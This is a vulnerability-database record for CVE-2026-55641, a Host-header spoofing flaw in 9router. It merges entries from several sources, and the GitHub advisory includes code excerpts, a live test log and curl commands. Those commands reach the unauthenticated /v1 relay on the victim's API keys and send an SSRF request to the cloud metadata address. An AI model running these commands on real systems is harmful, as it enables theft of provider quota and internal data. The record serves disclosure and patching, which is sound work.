{"id":"GHSA-86m2-fcxq-5q7c","revision":null,"records":[{"revision":"41b40d4137ea421aa1f47db6a2437123","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-55641","aliases":[],"title":"9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF","description":"9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2.","state":0,"publishedAt":"2026-07-10T15:36:05.964+00:00","modifiedAt":"2026-07-10T19:06:14.379+00:00","affected":[{"ecosystem":"Vendor product","name":"9router","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"decolua\",\n                    \"product\": \"9router\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.5.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c","https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3","https://github.com/decolua/9router/releases/tag/v0.5.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55641","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55641","identifiers":["CVE-2026-55641"]},"retained":false,"historicalAffected":[]},{"revision":"66c5ba62455c4b90a8781738d50ef695","observedAt":"2026-11-07T12:33:09.446+00:00","statement":{"source":"euvd","id":"EUVD-2026-42930","aliases":["CVE-2026-55641","GHSA-86m2-fcxq-5q7c"],"title":"9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass A…","description":"9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":null}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c","https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3","https://github.com/decolua/9router/releases/tag/v0.5.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42930","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 10, 2026, 3:36:05 PM","dateUpdated":"Jul 10, 2026, 7:06:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42930","identifiers":["EUVD-2026-42930","CVE-2026-55641","GHSA-86m2-fcxq-5q7c"]},"retained":false,"historicalAffected":[]},{"revision":"a4bfe48517504fc79d4e5554adc37d1a","observedAt":"2026-10-27T15:15:14.036+00:00","statement":{"source":"nvd","id":"CVE-2026-55641","aliases":[],"title":"9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass A…","description":"9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2.","state":0,"publishedAt":"2026-07-10T17:16:59.33+00:00","modifiedAt":"2026-10-25T15:10:00.147+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3","https://github.com/decolua/9router/releases/tag/v0.5.2","https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55641","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-290","CWE-348","CWE-918","CWE-1327"],"productCriteria":[],"sourceDates":{"published":"2026-07-10T17:16:59.330","lastModified":"2026-10-25T15:10:00.147"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55641","identifiers":["CVE-2026-55641"]},"retained":false,"historicalAffected":[]},{"revision":"a908c541a77b4045b94247c9bd34fd95","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-86m2-fcxq-5q7c","aliases":["CVE-2026-55641"],"title":"9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF","description":"## Summary\n\n9router's request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** — the proxy forwards the attacker's requests to AI providers using the **victim's stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim's accounts).\n- **Unauthenticated SSRF** — `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router <= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `<0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // <-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // <-- \"local\" => no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** — only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` → reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` — operators believe it's local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** → the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) → `canAccessPublicLlmApi` true via spoofed Host → `next.config.mjs` rewrites `/v1/:path*`→`/api/v1/:path*` → `src/app/api/v1/messages/route.js` POST → `handleChat` (no independent auth) → only gate falsy `requireApiKey` → `getProviderCredentials()` loads the victim's stored credentials → `handleChatCore` outbound fetch → response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) → `searxng` `noAuth:true` ⇒ `handleSearchCore({credentials:null})` → `coreBody.provider_options = body.provider_options` → `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n→ `buildSearxngRequest` appends `/search?q=...&format=json&categories=general` → `fetch(url)` (server-side) → JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>\n[*] credentials passed to core: null (noAuth => key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x&format=json&categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt & ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box's **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    => HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    => HTTP 200, and the attacker's listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1\n    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B') relay path POST /v1/messages, same Host-spoof:\n       honest Host => 401 ;  Host: localhost => 404 {\"error\":\"No active credentials for provider: openai\"}\n    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).\n```\nChanging **only** the `Host` header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \\\n  -d '{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}'\n\n# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \\\n  -d '{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}'\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale — all first-class features) can be:\n- used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header — treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.","state":0,"publishedAt":"2026-08-28T18:33:20+00:00","modifiedAt":"2026-08-28T18:45:07.831454+00:00","affected":[{"ecosystem":"npm","name":"9router","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.5.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c","https://nvd.nist.gov/vuln/detail/CVE-2026-55641","https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3","https://github.com/decolua/9router","https://github.com/decolua/9router/releases/tag/v0.5.2"],"sourceUrl":"https://github.com/advisories/GHSA-86m2-fcxq-5q7c","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-86m2-fcxq-5q7c","identifiers":["GHSA-86m2-fcxq-5q7c","CVE-2026-55641"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7321274+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7321285+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5c528217d29c5c98b43a1b5cb9374bfc12e416181b0a739875f92516cb8a8a5e","complete":true,"records":420948,"lastAttemptAt":"2026-11-07T22:52:12.9854034+00:00","lastSuccessAt":"2026-11-07T22:52:12.8993102+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:12.9854034+00:00","snapshotPublishedAt":"2026-11-07T22:22:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. 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Not a global EPSS backfill.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7328786+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7328787+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e0026f7679544d118882d7f7d52e10c2","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T22:52:39.2626518+00:00","lastSuccessAt":"2026-11-07T22:52:39.256+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:39.256+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T22:52:13.4112712+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.4112712+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T22:52:13.1710092+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.1710092+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T22:52:13.522543+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.522543+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T22:52:13.2901378+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.2901378+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}